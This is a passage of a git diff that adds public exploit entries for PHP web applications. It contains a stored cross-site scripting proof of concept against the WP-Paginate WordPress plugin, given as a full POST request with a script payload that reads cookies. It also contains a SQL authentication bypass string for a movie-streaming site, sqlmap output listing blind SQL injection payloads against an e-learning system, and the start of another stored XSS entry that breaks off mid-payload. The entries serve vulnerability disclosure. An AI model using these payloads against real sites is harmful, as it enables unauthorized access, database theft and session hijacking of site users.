BTRY%5D=1&AcceptStripePayments-settings%5Ballowed_currencies%5D%5BUYU%5D=1&AcceptStripePayments-settings%5Ballowed_currencies%5D%5BVND%5D=1&AcceptStripePayments-settings%5Bpp_additional_css%5D=&AcceptStripePayments-settings%5Brecaptcha_site_key%5D=&AcceptStripePayments-settings%5Brecaptcha_secret_key%5D=&submit=Save+Changes \ No newline at end of file diff --git a/exploits/php/webapps/49355.txt b/exploits/php/webapps/49355.txt new file mode 100644 index 000000000..59a6a8e06 --- /dev/null +++ b/exploits/php/webapps/49355.txt @@ -0,0 +1,42 @@ +# Exploit Title: WordPress Plugin WP-Paginate 2.1.3 - 'preset' Stored XSS +# Date: 04-01-2021 +# Software Link: https://wordpress.org/plugins/wp-paginate/ +# Exploit Author: Park Won Seok +# Contact: kkigg39@gmail.com +# Category: Webapps +# Version: WP-Paginate(Ver-2.1.3) +# CVE : N/A +# Tested on: Windows 10 x64 + +# description: +# A Stored Cross-site scripting (XSS) was discovered in wordpress plugins WP-Paginate(Ver_2.1.3) +# Vulnerability parameters : 2nd parameter "preset" have Stored-XSS. + +# POC - Stored-XSS + +POST /wp-admin/options-general.php?page=wp-paginate.php HTTP/1.1 +Host: localhost +Content-Length: 348 +Cache-Control: max-age=0 +Upgrade-Insecure-Requests: 1 +Origin: http://localhost +Content-Type: application/x-www-form-urlencoded +User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 +(KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36 +Accept: +text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 +Referer: http://localhost/wp-admin/options-general.php?page=wp-paginate.php +Accept-Encoding: gzip, deflate +Accept-Language: ko,en-US;q=0.9,en;q=0.8 +Cookie: +wordpress_5b1d7751a3da8a97505638936b7963ae=root%7C1609175102%7CsmSXDMcLQrRT6VE8KfGkKmVhXgpnCEAYtWIzvd91r78%7C94877ae306a5c59f9cdb81adc60a8cd6ad84e0e7551b18042ee0a33c9ab5cb31; +wordpress_test_cookie=WP%20Cookie%20check; +asp_transient_id=36985e31f4be2b5ae0e14586c592c87d; +wp-settings-1=mfold%3Do%26editor%3Dhtml%26posts_list_mode%3Dlist%26unfold%3D1; +wp-settings-time-1=1609001802; +wordpress_logged_in_5b1d7751a3da8a97505638936b7963ae=root%7C1609175102%7CsmSXDMcLQrRT6VE8KfGkKmVhXgpnCEAYtWIzvd91r78%7Cd570540f18447db0f0859be9e8e14bab64da22c8cf50fb8a80ebea73f188cb48 +Connection: close + +_wpnonce=8441c7c7b9&_wp_http_referer=%2Fwp-admin%2Foptions-general.php%3Fpage%3Dwp-paginate.php&title=Pages%3A&previouspage=%26laquo%3B&nextpage=%26raquo%3B&position=none&font=font-inherit&preset=default& +*preset='%3e%3cscript%3ealert(document.cookie)%3c%2fscript%3e* +&before=%3Cdiv+class%3D%22navigation%22%3E&after=%3C%2Fdiv%3E&empty=on&css=on&range=3&anchor=1&gap=3&wp_paginate_save=Save+Changes \ No newline at end of file diff --git a/exploits/php/webapps/49356.txt b/exploits/php/webapps/49356.txt new file mode 100644 index 000000000..c2809f726 --- /dev/null +++ b/exploits/php/webapps/49356.txt @@ -0,0 +1,11 @@ +# Exploit Title: Online Movie Streaming 1.0 - Authentication Bypass +# Date: 2020-12-27 +# Exploit Author: Kshitiz Raj (manitorpotterk) +# Vendor Homepage: https://www.sourcecodester.com/php/14640/online-movie-streaming-php-full-source-code.html +# Software Link: https://www.sourcecodester.com/download-code?nid=14640&title=+Online+Movie+Streaming+in+PHP+with+Full+Source+Code +# Version: 1.0 +# Tested on: Windows 10/Kali Linux + +Step 1 - Go to url http://localhost/onlinemovie/user-login.php +Step 2 – Enter Username :- anything@mail.com +Step 3 - Enter Password - ' or '1'='1'# \ No newline at end of file diff --git a/exploits/php/webapps/49357.txt b/exploits/php/webapps/49357.txt new file mode 100644 index 000000000..18f92531c --- /dev/null +++ b/exploits/php/webapps/49357.txt @@ -0,0 +1,83 @@ +# Exploit Title: Responsive E-Learning System 1.0 – 'id' Sql Injection +# Date: 2020-12-24 +# Exploit Author: Kshitiz Raj(manitorpotterk) +# Vendor Homepage: https://www.sourcecodester.com/php/5172/responsive-e-learning-system.html +# Software Link: https://www.sourcecodester.com/download-code?nid=5172&title=Responsive+E-Learning+System+using+PHP%2FMySQLi+with+Source+Code +# Version: 1.0 +# Tested on: Windows 10/Kali Linux + +The 'id=' parameter in Responsive E-Learning System is vulnerable to Sql +Injection. + +*Vulnerable Url : *http://localhost/elearning/delete_teacher_students.php?id=17 +-p id + +# sqlmap -u +http://192.168.127.1//elearning/delete_teacher_students.php?id=17 -p id + + ___ + + +__H__ + + + ___ ___["]_____ ___ ___ +{1.3.11#stable} + +|_ -| . [.] | .'| . +| + +|___|_ [']_|_|_|__,| +_| + + |_|V... |_| http://sqlmap.org + + + + +[!] legal disclaimer: Usage of sqlmap for attacking targets without prior +mutual consent is illegal. It is the end user's responsibility to obey all +applicable local, state and federal laws. Developers assume no liability +and are not responsible for any misuse or damage caused by this program + + + +[*] starting @ 08:59:01 /2020-12-24/ + + +08:59:33] [INFO] checking if the injection point on GET parameter 'id' is a +false positive + +GET parameter 'id' is vulnerable. Do you want to keep testing the others +(if any)? [y/N] y + +sqlmap identified the following injection point(s) with a total of 402 +HTTP(s) requests: + +--- + +Parameter: id (GET) + + Type: boolean-based blind + + Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or +GROUP BY clause + + Payload: id=17' RLIKE (SELECT (CASE WHEN (7532=7532) THEN 17 ELSE 0x28 +END))-- YDSn + + + + Type: time-based blind + + Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) + + Payload: id=17' AND (SELECT 4939 FROM (SELECT(SLEEP(5)))EQuU)-- RaGm + +--- + +[08:59:38] [INFO] the back-end DBMS is MySQL + +web application technology: PHP 7.2.34, Apache 2.4.46 + +back-end DBMS: MySQL >= 5.0.12 \ No newline at end of file diff --git a/exploits/php/webapps/49358.txt b/exploits/php/webapps/49358.txt new file mode 100644 index 000000000..816f47409 --- /dev/null +++ b/exploits/php/webapps/49358.txt @@ -0,0 +1,13 @@ +# Exploit Title: Baby Care System 1.0 - 'Post title' Stored XSS +# Exploit Author: Hardik Solanki +# Vendor Homepage: https://www.sourcecodester.com/php/14622/baby-care-system-phpmysqli-full-source-code.html +# Software Link: https://www.sourcecodester.com/download-code?nid=14622&title=Baby+Care+System+in+PHP%2FMySQLi+with+Full+Source+Code+ +# Version: 1 +# Tested on Windows + +Vulnerable Parameters: Edit Page tab + +Steps to reproduce: +1: Log in with a valid username and password. Navigate to the "Post" tab on the left-hand side. +2: Add the new post and then add the payload "